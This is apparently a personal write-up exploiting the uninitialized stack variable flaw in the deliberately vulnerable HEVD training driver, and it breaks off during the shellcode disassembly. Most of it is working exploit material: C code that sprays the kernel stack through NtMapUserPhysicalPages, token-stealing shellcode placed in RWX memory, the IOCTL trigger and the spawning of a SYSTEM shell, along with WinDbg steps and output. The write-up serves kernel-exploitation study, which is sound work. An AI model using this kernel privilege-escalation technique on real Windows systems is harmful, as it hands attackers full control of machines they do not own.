When a developer defines a variable but doesn’t initialize it, Uninitialized Stack Variable vulnerability arises. During runtime, the variable would have some value, even though an unpredictable one.
Code analysis
We can clearly see that in secure way we initialize the variable with zero, in insecure we don’t.
#ifdef SECURE
//
// Secure Note: This is secure because the developer is properly initializing
// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling
// the callback
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory = { 0 };
#else
//
// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability
// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure
// before calling the callback when 'MagicValue' does not match 'UserValue'
//
UNINITIALIZED_MEMORY_STACK UninitializedMemory;
#endif
And also we can see that later the uninitialized variable is called in callback function
PAGE:00014F59
PAGE:00014F59 loc_14F59: ; CODE XREF: TriggerUninitializedStackVariable(x)+4D↑j
PAGE:00014F59 push [ebp+UninitializedStackVariable.Value]
PAGE:00014F5F push offset aUninitializeds_0 ; "[+] UninitializedStackVariable.Value: 0"...
PAGE:00014F64 call _DbgPrint
PAGE:00014F69 push [ebp+UninitializedStackVariable.Callback]
PAGE:00014F6F push offset aUninitializeds_1 ; "[+] UninitializedStackVariable.Callback"...
PAGE:00014F74 call _DbgPrint
PAGE:00014F79 push offset aTriggeringUnin ; "[+] Triggering Uninitialized Stack Vari"...
PAGE:00014F7E call _DbgPrint
PAGE:00014F83 add esp, 14h
PAGE:00014F86 cmp [ebp+UninitializedStackVariable.Callback], edi
PAGE:00014F8C jz short loc_14FB7
PAGE:00014F8E call [ebp+UninitializedStackVariable.Callback] <-- here we call it
PAGE:00014F94 jmp short loc_14FB7
Same here as in the previous one, we should pass anything except for magic number that is given in the program to get into out vulnerable part
Let’s go to the exploit
Exploit
- run windbg
- run virutal machine
- open shared folder on vm (
Z:\kernel4\NullPoint\Release
in my case) to copy compiled file to the desktop - in windbg:
-
ed nt!Kd_Default_Mask 8
-
.sympath+ C:\Users\truebad0ur\Documents\Kernel
-
.reload /f
-
lm m HEV*
- check if out module is loaded
-
bp HEVD!TriggerUninitializedStackVariable
- break on out function
-
bp HEVD!TriggerUninitializedStackVariable+94
- break on the end of the function before shellcode call
#include <Windows.h>
#include <string.h>
#include <stdio.h>
#define IO_CODE 0x22202F
const char kDevName[] = "\\\\.\\HackSysExtremeVulnerableDriver";
int main() {
printf("[+] Calling CreateFileA() to obtain a handle to driver\n");
HANDLE hDevice = CreateFileA(kDevName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Error - dailed to get file handle!\n");
system("pause");
return -1;
}
printf("[+] Successfully obtained a handle to the driver\n");
DWORD bytesRetn;
char buf[4] = { 0xb0, 0xb0, 0xd0, 0xba };
printf("[+] Starting interaction with the driver\n");
DeviceIoControl(hDevice, IO_CODE, buf, sizeof(buf), NULL, 0, &bytesRetn, NULL);
//system("cmd.exe");
CloseHandle(hDevice);
return 0;
}
Everything works fine, we see
[+] UserValue: 0xBAD0B0B0
[+] UninitializedStackVariable Address: 0xA98CB9A8
[+] UninitializedStackVariable.Value: 0xBAD0B0B0
[+] UninitializedStackVariable.Callback: 0xA7F57EE8
[+] Triggering Uninitialized Stack Variable Vulnerability
[+] Uninitialized Stack Variable Object Callback
Changed value to check
[+] UserValue: 0xDDCCBBAA
[+] UninitializedStackVariable Address: 0x821C99A8
[+] UninitializedStackVariable.Value: 0x92607BE5
[+] UninitializedStackVariable.Callback: 0x85413D10
[+] Triggering Uninitialized Stack Variable Vulnerability
kd> dps esp
821c9984 a7f58abc HEVD! ?? ::NNGAKEGL::`string'
821c9988 a7f58af8 HEVD! ?? ::NNGAKEGL::`string'
821c998c 85413d10
821c9990 a7f58b28 HEVD! ?? ::NNGAKEGL::`string'
821c9994 92607be5 dxgkrnl!DpQueueDpc+0x72
821c9998 25e9f97e
821c999c 86f63c98
821c99a0 86f63d08
821c99a4 a7f58ca4 HEVD! ?? ::NNGAKEGL::`string'
821c99a8 92607be5 dxgkrnl!DpQueueDpc+0x72
821c99ac 85413d10
This will trigger callback in vulnurable function. Now we somehow need to control that callback function address to call our shellcode.
To do this, the steps we need to follow:
- Find the kernel stack init address
- Find the offset of our callback from this init address
- Spray the Kernel Stack with User controlled input from the user mode. (Good read about it can be found here by j00ru).
To find the kernel stack init address, run the !thread command, and then
offset = stack init address - callback function address
kd> !thread
THREAD 87265788 Cid 05a8.084c Teb: 7ffdf000 Win32Thread: 00000000 RUNNING on processor 0
IRP List:
86f63c98: (0006,0094) Flags: 00060000 Mdl: 00000000
Not impersonating
DeviceMap 8f592d88
Owning Process 85036d28 Image: Project1.exe
Attached Process N/A Image: N/A
Wait Start TickCount 85644 Ticks: 18 (0:00:00:00.180)
Context Switch Count 44 IdealProcessor: 0
UserTime 00:00:00.000
KernelTime 00:00:00.300
Win32 Start Address 0x00e9134f
Stack Init 821c9ed0 <---------
kd> ?821c9ed0 - 821c99ac
Evaluate expression: 1316 = 00000524
To spray stack we’ll be using NtMapUserPhysicalPages
BOOL WINAPI MapUserPhysicalPages(
_In_ PVOID lpAddress,
_In_ ULONG_PTR NumberOfPages,
_In_ PULONG_PTR UserPfnArray
);
With this API we can spray upto 1024 * sizeof(ULONG_PTR), more than our offset, so okay. Spray kernel stack with 0x414141…
// Thanks h0mbre for the code
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>
//
// Defining just our driver name that it uses for IoCreateDevice and also the IOCTL code we use to reach our vulnerable function
#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL 0x22202F
//
// Here we are creating a prototype of the NtMapUserPhysicalPages, we are using the struct member types that tekwizz123 uses, I couldn't get any other definition to work
typedef NTSTATUS(WINAPI* _NtMapUserPhysicalPages)(
PINT BaseAddress,
UINT32 NumberOfPages,
PBYTE PageFrameNumbers);
//
// This function simply retrieves a handle to HEVD, this should be standard at this point based on our previous exploits; however, you can see how much easier it is
// to use Visual C++ and have access to the keywords vs. finding constants for these values and using Python C-types
HANDLE Get_Handle()
{
HANDLE HEVD = CreateFileA(DEVICE_NAME,
FILE_READ_ACCESS | FILE_WRITE_ACCESS,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING,
FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
NULL);
if (HEVD == INVALID_HANDLE_VALUE)
{
printf("[!] Unable to retrieve handle for HEVD, last error: %d\n", GetLastError());
exit(1);
}
printf("[*] Successfully retrieved handle to HEVD: %X\n", HEVD);
return HEVD;
}
void Spawn_Shell()
{
PROCESS_INFORMATION Process_Info;
ZeroMemory(&Process_Info, sizeof(Process_Info));
STARTUPINFOA Startup_Info;
ZeroMemory(&Startup_Info, sizeof(Startup_Info));
Startup_Info.cb = sizeof(Startup_Info);
CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &Startup_Info, &Process_Info);
}
int main()
{
HANDLE HEVD = Get_Handle();
// Just a dummy buffer so that we don't match the keyword value for BAD0B0B0
char Input_Buffer[] = "\x41\x41\x41\x41";
// Acutally creating an instance of our typedef by typcasting the result of a GetProcAddress call inside of ntdll.dll for 'NtMapUserPhysicalPages' (Thanks tekwizz!)
_NtMapUserPhysicalPages NtMapUserPhysicalPages = (_NtMapUserPhysicalPages)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtMapUserPhysicalPages");
// Token stealing payload straight from b33f's FuzzySec blogpost
char Shellcode[] = (
"\x60"
"\x64\xA1\x24\x01\x00\x00"
"\x8B\x40\x50"
"\x89\xC1"
"\x8B\x98\xF8\x00\x00\x00"
"\xBA\x04\x00\x00\x00"
"\x8B\x80\xB8\x00\x00\x00"
"\x2D\xB8\x00\x00\x00"
"\x39\x90\xB4\x00\x00\x00"
"\x75\xED"
"\x8B\x90\xF8\x00\x00\x00"
"\x89\x91\xF8\x00\x00\x00"
"\x61"
"\xC3"
);
// Allocate a RWX buffer the size of our shellcode
LPVOID Shellcode_Addr = VirtualAlloc(NULL,
sizeof(Shellcode),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
// Copying our shellcode buffer into our RWX buffer
printf("[*] Allocating RWX shellcode at: %X\n", Shellcode_Addr);
memcpy(Shellcode_Addr, Shellcode, sizeof(Shellcode));
// This var is going to be a pointer to the address of Shellcode_Addr, this will end up being the value we spray on the stack
LPVOID Spray_Address = &Shellcode_Addr;
printf("[*] Our address to spray on the stack: %X\n", Spray_Address);
// This var will be used as our BaseAddress in our NtMapPhysicalPages API call
int Zero = 0;
// We will typecast this to a PBYTE and reference its address when calling NtMapPhysicalPages
char Page_Frame_Numbers[4096] = { 0 };
// This for loop will take our 4096 character array and fill it with the Spray_Address value
for (int i = 0; i < 1024; i++)
{
memcpy((Page_Frame_Numbers + (i * 4)), Spray_Address, 4);
}
// Calling the API finally, thanks again, tekwizz
printf("[*] Spraying stack and triggering vulnerability...\n");
NtMapUserPhysicalPages(&Zero,
1024,
(PBYTE)&Page_Frame_Numbers);
DWORD Dummy_Bytes = 0;
// Trigger bug
DeviceIoControl(HEVD,
0x22202F,
&Input_Buffer,
sizeof(Input_Buffer),
NULL,
0,
&Dummy_Bytes,
NULL);
printf("[*] Spawning nt/authority system cmd.exe shell...\n");
Spawn_Shell();
return 0;
}
The main idea is very simple: if we provide something else except for 0xBAD0B0B0, we’ll not set UninitializedStackVariable.Callback = UninitializedStackVariableObjectCallback;
and Callback will be called not initialized from the stack (that means something that is aligned in the stack, some junk)
And we spray the stack with out address so out shellcode will be called as a callback.
Don’t know why, but if we put the breakpoint on the start of the function, exploit wouldn’t work
We should delete it and leave just bp HEVD!TriggerUninitializedStackVariable+94
In this case we’ll see:
...
9758bf8e ff95f8feffff call dword ptr [ebp-108h] ss:0010:ac9c59ac=001d0000
...
kd> !thread
...
Stack Init ac9c5ed0
...
kd> ?ac9c5ed0-0x524
Evaluate expression: -1399039572 =
kd> dd ac9c59ac L1
ac9c59ac 001d0000
We see out address of the shellcode
kd> u 001d0000
001d0000 60 pushad
001d0001 64a124010000 mov eax,dword ptr fs:[00000124h]
001d0007 8b4050 mov eax,dword ptr [eax+50h]
001d000a 89c1 mov ecx,eax